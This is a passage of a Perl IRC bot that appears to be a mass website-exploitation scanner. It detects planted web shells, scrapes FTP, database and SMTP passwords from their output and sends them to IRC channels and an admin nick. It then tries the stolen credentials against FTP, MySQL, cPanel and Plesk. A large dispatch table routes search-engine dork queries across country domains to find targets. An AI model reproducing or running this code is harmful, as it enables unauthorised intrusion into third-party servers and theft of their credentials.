  2674.                         &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2);
  2675.                                     &msg("$chan","$jdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass ");
  2676.                                     if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];}
  2677.                         &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$jdlogo,$nick);
  2678.                         &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$jdlogo,"",$nick);
  2679.                         if ($dbuser =~ /_/) {
  2680.                                                     my @userz = split("_", $user); $user = $userz[0];
  2681.                                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo,$nick);
  2682.                         }
  2683.                         if ($dbname =~ /_/) {
  2684.                                                     my @userz = split("_", $dbname); $user = $userz[0];
  2685.                                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo,$nick);
  2686.                         }
  2687.                                     # else {
  2688.                         # &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user." : ".$pass."15] 4Denied ");
  2689.                                     # }
  2690.                     }
  2691.  
  2692.                     if ($check =~ /T E A M 2 4 H O U R S U N K N O W N/){
  2693.                                     my ($safe,$os,$uid,$host,$user,$pass);
  2694.                                     if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2695.                                     if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2696.                                     if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2697.                                     &msg("$chan","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2698.                                     &msg("$admin","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2699.                                     $target =~ s/http:\/\///;
  2700.                                     $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2701.                                     if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;}
  2702.                                     if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;}
  2703.                                     if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;}
  2704.                                     if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;}
  2705.                         if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;}
  2706.                         if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;}
  2707.                         if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;}
  2708.                         if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  2709.                         if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  2710.                         if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  2711.                         if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;}
  2712.                                     if ($host =~ /127.0.0.1/) { $host = $target}
  2713.                                     &msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(2);
  2714.                         &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2);
  2715.                                     &msg("$chan","$jdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass ");
  2716.                                     if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];}
  2717.                         &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$jdlogo,$nick);
  2718.                         &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$jdlogo,"",$nick);
  2719.                         if ($dbuser =~ /_/) {
  2720.                                                     my @userz = split("_", $user); $user = $userz[0];
  2721.                                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo,$nick);
  2722.                         }
  2723.                         if ($dbname =~ /_/) {
  2724.                                                     my @userz = split("_", $dbname); $user = $userz[0];
  2725.                                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo,$nick);
  2726.                         }
  2727.                                     # else {
  2728.                         # &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user." : ".$pass."15] 4Denied ");
  2729.                                     # }
  2730.  
  2731.                     }
  2732.  
  2733.                     if ($check =~ /IAM - DNSNET/){
  2734.                                     my ($safe,$os,$uid,$host,$user,$pass);
  2735.                                     if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2736.                                     if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2737.                                     if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2738.                                     &msg("$chan","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2739.                                     &msg("$admin","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2740.                                     $target =~ s/http:\/\///;
  2741.                                     $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  2742.                                     if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;}
  2743.                                     if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;}
  2744.                                     if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;}
  2745.                                     if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;}
  2746.                         if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;}
  2747.                         if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;}
  2748.                         if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;}
  2749.                         if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
  2750.                         if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
  2751.                         if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
  2752.                         if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;}
  2753.                                     if ($host =~ /127.0.0.1/) { $host = $target}
  2754.                                     &msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(2);
  2755.                         &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2);
  2756.                                     &msg("$chan","$jdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass ");
  2757.                                     if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];}
  2758.                         &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$jdlogo,$nick);
  2759.                         &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$jdlogo,"",$nick);
  2760.                         if ($dbuser =~ /_/) {
  2761.                                                     my @userz = split("_", $user); $user = $userz[0];
  2762.                                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo,$nick);
  2763.                         }
  2764.                         if ($dbname =~ /_/) {
  2765.                                                     my @userz = split("_", $dbname); $user = $userz[0];
  2766.                                                     &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo,$nick);
  2767.                         }
  2768.                                     # else {
  2769.                         # &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user." : ".$pass."15] 4Denied ");
  2770.                                     # }
  2771.  
  2772.                     }
  2773.  
  2774.                 }
  2775.             } exit;
  2776.             }
  2777.         }
  2778.     }
  2779. }
  2780.  
  2781.  
  2782.  
  2783. #####################
  2784.  
  2785. sub ftp_connect {
  2786.     my $url = $_[0];
  2787.     my $host = $_[1];
  2788.     my $user = $_[2];
  2789.     my $pass = $_[3];
  2790.     my $chan = $_[4];
  2791.     my $engine = $_[5];
  2792.     my $logo = $_[6];
  2793.     my $nick = $_[7];
  2794.     my $success = 1;
  2795.     my $count = 0;
  2796.     use Net::FTP;
  2797.     eval{
  2798.         my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  2799.         $success = 0 if $ftp->login($user,$pass);sleep(2);
  2800.         $ftp->quit;
  2801.         if ($success == 0) {
  2802.             #&msg("$nick","15,1 $engine $logo [9True FTP15]  4 http://".$url." |7 ".$user.":".$pass." ");sleep(2);
  2803.             &msg("$admin","15,1 $engine $logo [9True FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2804.             &msg("$submitchan","15,1 $engine $logo [9True FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2805.             #&msg("k4l0nk","15,1 $engine [9True FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2806.             if ($user && $pass){
  2807.             &cpanel_check($url,$host,$user,$pass,$submitchan,$engine,$mglogo,$admin); sleep(2);
  2808.             }
  2809.         }
  2810.     }
  2811. }
  2812.  
  2813. sub ftpmy_connect {
  2814.     my $url = $_[0];
  2815.     my $host = $_[1];
  2816.     my $user = $_[2];
  2817.     my $pass = $_[3];
  2818.     my $chan = $_[4];
  2819.     my $engine = $_[5];
  2820.     my $logo = $_[6];
  2821.     my $nick = $_[6];
  2822.     my $success = 1;
  2823.     my $count = 0;
  2824.     use Net::FTP;
  2825.     eval{
  2826.         my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  2827.         $success = 0 if $ftp->login($user,$pass);sleep(2);
  2828.         $ftp->quit;
  2829.         if ($success == 0) {
  2830.             #&msg("$nick","15,1 $engine $logo [9True FTP15]  4 http://".$url." or ".$host." |7 ".$user.":".$pass." ");sleep(2);
  2831.             &msg("$admin","15,1 $engine $logo [9True FTP15]  4 http://".$url." or ".$host." | 7 ".$user." : ".$pass." ");sleep(2);
  2832.             &msg("$submitchan","15,1 $engine $logo [9True FTP15]  4 http://".$url." or ".$host." | 7 ".$user." : ".$pass." ");sleep(2);
  2833.             #&msg("KosoWaR","15,1 $engine [9True FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2834.             if ($user && $pass){
  2835.             &cpanel_check($url,$host,$user,$pass,$submitchan,$engine,$mglogo,$admin); sleep(2);
  2836.             }
  2837.         }
  2838.     }
  2839. }
  2840.  
  2841. sub ftp_wp {
  2842.     my $url = $_[0];
  2843.     my $host = $_[1];
  2844.     my $user = $_[2];
  2845.     my $pass = $_[3];
  2846.     my $chan = $_[4];
  2847.     my $engine = $_[5];
  2848.     my $logo = $_[6];
  2849.     my $nick = $_[7];
  2850.     my $success = 1;
  2851.     my $count = 0;
  2852.     use Net::FTP;
  2853.     eval{
  2854.         my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  2855.         $success = 0 if $ftp->login($user,$pass);sleep(2);
  2856.         $ftp->quit;
  2857.         if ($success == 0) {
  2858.             #&msg("$admin","15,1 [9FTP15]  4 http://".$url." |7 ".$user.":".$pass." ");sleep(2);
  2859.             &msg("$admin","15,1 $engine [9FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2860.             &msg("$submitchan","15,1 $engine [9FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2861.             #&msg("$nick","15,1 $engine [9FTP15]  4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(2);
  2862.             if ($user && $pass){
  2863.             &cpanel_check($url,$host,$user,$pass,$submitchan,$engine,$mglogo,$admin); sleep(2);
  2864.             }
  2865.  
  2866.         }
  2867.     }
  2868. }
  2869.  
  2870. sub dbi_connect () {
  2871.     my $url = $_[0];
  2872.     my $host = $_[1];
  2873.     my $user = $_[2];
  2874.     my $pass = $_[3];
  2875.     my $dtbs = $_[4];
  2876.     my $chan = $_[5];
  2877.     my $engine = $_[6];
  2878.     my $logo = $_[7];
  2879.     my $keys = $_[8];
  2880.     my $nick = $_[9];
  2881.     my $count = 0;
  2882.     my $port = "3306";
  2883.     my $platform = "mysql";
  2884.     my $dsn = "dbi:$platform:$dtbs:$host:$port";
  2885.     eval{
  2886.         my $DBIconnect=  DBI->connect($dsn,$user,$pass);
  2887.         if ($DBIconnect) {
  2888.             &msg("$admin","$logo4$engine 5,1<=>9,1SQL Accepted 5<=> 4[+]15 http://".$url." 4[+]13host:15".$host."  13username:15".$user." 4[+]13password:15".$pass." 4[+]13dbname:15".$dbname." Key : ".$keys);sleep(2);
  2889.             #&msg("$nick","$logo4$engine 5,1<=>9,1SQL Accepted 5<=> 4[+]15 http://".$url." 4[+]13host:15".$host."  13username:15".$user." 4[+]13password:15".$pass." 4[+]13dbname:15".$dbname." Key : ".$keys);sleep(2);
  2890.             &msg("$chaninfo","$logo4$engine 5,1<=>9,1SQL Accepted 5<=> 4[+]15 http://".$url." 4[+]13host:15".$host."  13username:15".$user." 4[+]13password:15".$pass." 4[+]13dbname:15".$dbname." Key : ".$keys);sleep(2);
  2891.             #&msg("$admin","$logo4$engine 5,1<=>9,1SQL Accepted 5<=> 4[+]15 http://".$url."  4[+]13host:15".$host." 4[+]13username:15".$user." 4[+]13password:15".$pass." 4[+]13dbname:15".$dbname."");sleep(2);
  2892.         }
  2893.     }
  2894. }
  2895.  
  2896.  
  2897. sub cpanel_check () {
  2898.     my $url = $_[0];
  2899.   my $hostip = $_[1];
  2900.   my $user = $_[2];
  2901.   my $pass = $_[3];
  2902.   my $chan = $_[4];
  2903.   my $engine = $_[5];
  2904.   my $logo = $_[6];
  2905.   my $nick = $_[7];
  2906.   #my @portas=("2082","2083","8443");
  2907.   my $pcp1 = "2082";
  2908.   my $pcp2 = "2083";
  2909.   my $pplesk = "8443";
  2910.   my (@cpchek1, %porta_banner);
  2911.   my (@cpchek2, %porta_banner);
  2912.   my (@cpchek3, %porta_banner);
  2913.     my $cekcp1 = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $pcp1, Proto =>
  2914.     'tcp', Timeout => 4);
  2915.     if ($cekcp1) {
  2916.       push (@cpchek1, $pcp1);
  2917.       $cekcp1->close;
  2918.     }
  2919.  
  2920.   if (@cpchek1) {
  2921.     &msg("$admin","15,1 $engine [9cPanel15]  4 http://".$url." 9| 4".$hostip.":".$pcp1." 9| 7 ".$user." : ".$pass." ");sleep(2);
  2922.     &msg("$submitchan","15,1 $engine [9cPanel15]  4 http://".$url." 9| 4".$hostip.":".$pcp1." 9| 7 ".$user." : ".$pass." ");sleep(2);
  2923.     }
  2924.    
  2925.   my $cekcp2 = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $pcp2, Proto =>
  2926.     'tcp', Timeout => 4);
  2927.     if ($cekcp2) {
  2928.       push (@cpchek2, $pcp2);
  2929.       $cekcp2->close;
  2930.     }
  2931.  
  2932.   if (@cpchek2) {
  2933.     &msg("$admin","15,1 $engine [9cPanel15]  4 http://".$url." 9| 4".$hostip.":".$pcp2." 9| 7 ".$user." : ".$pass." ");sleep(2);
  2934.     &msg("$submitchan","15,1 $engine [9cPanel15]  4 http://".$url." 9| 4".$hostip.":".$pcp2." 9| 7 ".$user." : ".$pass." ");sleep(2);
  2935.     }
  2936.    
  2937.   my $cekplesk = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $pplesk, Proto =>
  2938.     'tcp', Timeout => 4);
  2939.     if ($cekcp1) {
  2940.       push (@cpchek3, $pplesk);
  2941.       $cekplesk->close;
  2942.     }
  2943.  
  2944.   if (@cpchek3) {
  2945.     &msg("$admin","15,1 $engine [9Plesk15]  4 http://".$url." 9| 4".$hostip.":".$pplesk." 9| 7 ".$user." : ".$pass." ");sleep(2);
  2946.     &msg("$submitchan","15,1 $engine [9Plesk15]  4 http://".$url." 9| 4".$hostip.":".$pplesk." 9| 7 ".$user." : ".$pass." ");sleep(2);
  2947.     }
  2948. }
  2949.  
  2950. ##################################################################################
  2951.  
  2952. sub search_engine() {
  2953.     my (@total,@clean);
  2954.     my $chan = $_[0];
  2955.     my $bug = $_[1];
  2956.     my $dork = $_[2];
  2957.     my $engine = $_[3];
  2958.     my $logo = $_[4];
  2959.     if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
  2960.     if ($engine eq "BeCak") { my @becak = &becak($dork); push(@total,@becak); }
  2961.     if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
  2962.     if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
  2963.     if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
  2964.     if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
  2965.     if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
  2966.     if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
  2967.     if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
  2968.     if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
  2969.     if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
  2970.     if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
  2971.     if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
  2972.     if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
  2973.     if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
  2974.     if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
  2975.     if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
  2976.     if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
  2977.     if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
  2978.     if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
  2979.     if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
  2980.     if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
  2981.     if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
  2982.     if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
  2983.     if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
  2984.     if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
  2985.     if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
  2986.     if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
  2987.     if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
  2988.     if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
  2989.     if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
  2990.     if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
  2991.     if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
  2992.     if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
  2993.     if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
  2994.     if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
  2995.     if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
  2996.     if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
  2997.     if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
  2998.     if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
  2999.     if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
  3000.     if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
  3001.     if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
  3002.     if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
  3003.     if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
  3004.     if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
  3005.     if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
  3006.     if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
  3007.     if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); }
  3008.     if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
  3009.     if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
  3010.     if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
  3011.     if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
  3012.     if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
  3013.     if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
  3014.     if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
  3015.     if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
  3016.     if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
  3017.     if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
  3018.     if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); }
  3019.     if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
  3020.     if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
  3021.     if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
  3022.     if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
  3023.     if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
  3024.     if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
  3025.     if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); }
  3026.     if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
  3027.     if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); }
  3028.     if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
  3029.     if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
  3030.     if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
  3031.     if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
  3032.     if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
  3033.     if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
  3034.     if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
  3035.     if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
  3036.     if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
  3037.     if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
  3038.     if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }    
  3039.     if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); }
  3040.     if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
  3041.     if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
  3042.     if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
  3043.     if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
  3044.     if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
  3045.     if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
  3046.     if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
  3047.     if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
  3048.     if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); }
  3049.     if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
  3050.     if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); }
  3051.     if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
  3052.     if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
  3053.     if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
  3054.     if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
  3055.     if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); }
  3056.     if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); }
  3057.     if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); }
  3058.     if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
  3059.     if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); }
  3060.     if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
  3061.     if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); }
  3062.     if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); }
  3063.     if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); }
  3064.     if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); }
  3065.     if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
  3066.     if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); }
  3067.     if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
  3068.     if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); }
  3069.     if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); }
  3070.     if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); }
  3071.     if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); }
  3072.     if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
  3073.     if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
  3074.     if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); }
  3075.     if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); }
  3076.     if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); }
  3077.     if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
  3078.     if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
  3079.     if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
  3080.     if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
  3081.     if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
  3082.     if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); }
  3083.     if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); }
  3084.     if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
  3085.     if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); }
  3086.     if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); }
  3087.     if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
  3088.     if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); }
  3089.     if ($engine eq "GT") { my @gt = &gt($dork); push(@total,@gt); }
  3090.     if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); }
  3091.     if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); }
  3092.     if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); }
  3093.     if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
  3094.     if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
  3095.     if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
  3096.     if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
  3097.     if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); }
  3098.     if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); }
  3099.     if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
  3100.     if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
  3101.     if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
  3102.     if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
  3103.     if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); }
  3104.     if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); }
  3105.     if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); }
  3106.     if ($engine eq "LT") { my @lt = &lt($dork); push(@total,@lt); }
  3107.     if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
  3108.     if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); }
  3109.     if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); }
  3110.     if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); }
  3111.     if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
  3112.     if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
  3113.     if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); }
  3114.     if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
  3115.     if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); }
  3116.     if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); }
  3117.     if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
  3118.     if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); }
